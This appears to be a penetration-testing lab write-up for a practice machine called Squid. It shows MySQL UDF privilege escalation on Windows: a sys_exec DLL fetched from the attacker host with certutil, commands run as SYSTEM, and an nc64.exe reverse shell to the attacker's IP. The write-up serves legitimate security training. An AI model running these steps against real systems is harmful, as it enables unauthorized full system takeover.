MySQL User Defined Functions
It has been identified that the target MySQL instance is running with privileges of SYSTEM. Read and write access have been confirmed.
Additionally, code execution or privilege escalation is achievable via the UDF exploit,
Exploit
Found this repository that contains UDF plugins for MySQL
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/squid/mysql_udf]
└─$ wget -q https://github.com/yanghaoi/lib_mysqludf_sys/releases/download/0.01/Release.zip ; unzip Release.zip
Archive: Release.zip
extracting: Release-20220330.zip
inflating: Release-20220331.zip
extracting: Release-20211228.zip
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/squid/mysql_udf]
└─$ unzip Release-20220330.zip
Archive: Release-20220330.zip
inflating: lib_mysqludf_sys_x64.dll I will extract the most recent one; lib_mysqludf_sys_x64.dll
Exploitation
/Practice/Squid/5-Privilege_Escalation/attachments/{CF47CBCD-A1E5-41B5-8BE1-7920CC83FFA0}.png)
show variables like '%plugin%'First, I need to check the plugin directory; C:\wamp\bin\mysql\mysql5.7.31\lib\plugin\
PS C:\wamp\bin\mysql\mysql5.7.31\lib\plugin> icacls C:\wamp\bin\mysql\mysql5.7.31\lib\plugin
C:\wamp\bin\mysql\mysql5.7.31\lib\plugin Everyone:(OI)(CI)(F)
Everyone:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 filesThe current user is able to write to the plugin directory; C:\wamp\bin\mysql\mysql5.7.31\lib\plugin
PS C:\wamp\bin\mysql\mysql5.7.31\lib\plugin> cmd /c certutil.exe -urlcache -split -f http://192.168.45.157/mysql_udf/lib_mysqludf_sys_x64.dll .\lib_mysqludf_sys_x64.dll
**** Online ****
000000 ...
02f200
CertUtil: -URLCache command completed successfully.Transferring the UDF plugin; lib_mysqludf_sys_x64.dll
/Practice/Squid/5-Privilege_Escalation/attachments/{A2153CDC-D529-4646-8E1D-C4BBCA9DA8A6}.png)
CREATE function sys_exec returns string soname "lib_mysqludf_sys_x64.dll" Then I can create a function, sys_exec from the lib_mysqludf_sys_x64.dll plugin
/Practice/Squid/5-Privilege_Escalation/attachments/{DA349F52-CB64-4EA4-92F8-FB4B7A64A9D6}.png)
SELECT sys_exec("whoami > C:\\tmp\\out.txt") PS C:\tmp> cat C:\tmp\out.txt
nt authority\systemCode execution confirmed
/Practice/Squid/5-Privilege_Escalation/attachments/{599EF419-EF41-4C87-8740-2954415D64C4}.png)
SELECT sys_exec("C:\\tmp\\nc64.exe 192.168.45.157 1234 -e powershell") Sending a reverse shell
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/squid]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [192.168.45.157] from (UNKNOWN) [192.168.135.189] 51652
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\wamp\bin\mysql\mysql5.7.31\data> whoami
whoami
nt authority\system
PS C:\wamp\bin\mysql\mysql5.7.31\data> hostname
hostname
SQUID
PS C:\wamp\bin\mysql\mysql5.7.31\data> ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.135.189
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.135.254System level compromise